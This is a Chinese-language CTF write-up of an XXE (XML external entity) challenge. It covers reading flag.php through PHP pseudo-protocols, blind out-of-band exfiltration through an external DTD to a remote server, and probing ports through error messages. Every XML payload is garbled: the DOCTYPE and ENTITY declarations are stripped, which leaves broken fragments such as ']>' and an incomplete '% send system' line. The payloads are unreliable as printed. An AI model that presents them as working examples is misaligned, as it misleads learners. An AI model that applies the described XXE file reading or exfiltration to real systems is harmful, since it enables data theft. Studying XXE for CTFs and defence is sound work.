WEB XML與XXE漏洞偽協議

在做unctf時遇到一道web題,是xml的xxe漏洞(do you like xml),當時沒做出來,沒反應過來這個知識點,後來經人指點稍微理解了一些關於這個的漏洞,又在判作業中看到了這個知識點,所以決定記錄下來

xml是用於標記電子檔案使其具有結構性的標記語言，可以用來標記資料、定義資料型別，是一種允許使用者對自己的標記語言進行定義的源語言。xml文件結構包括xml宣告、dtd文件型別定義（可選）、文件元素。

這道題可以通過偽協議讀取flag.php的內容,從而getflag

<?xml version="1.0"?>
]>
>
>
&test;
username
>
>
123password
>
user
>

xml當被允許引用外部實體的時候，就存在有被注入的危險，注入的方式有很多，如下

<?xml version="1.0"?>
]>
>
>
&content;
name
>
note
>

<?xml version="1.0"?>
%d;]>
>
>
&b;name
>
note
>

xxe.dtd的檔案內容為

用php偽協議讀取任意檔案，當資料無回顯的時候還可以將資料傳送到遠端伺服器進行讀取

<?xml version="1.0"?>

xxe.dtd的內容為

% send system ''>"
>
%all;

可以通過返回的錯誤資訊來檢測目標ip的埠開放情況

<?xml version="1.0"?>
]>
>
&xxe;
test
>

這種方式可以探測到目標的80埠，通過返回的「connection refused」可以知道該80埠是未開放的，若返回的是"http request failed!"，可以知道80埠是開放的。

WEB XML與XXE漏洞 偽協議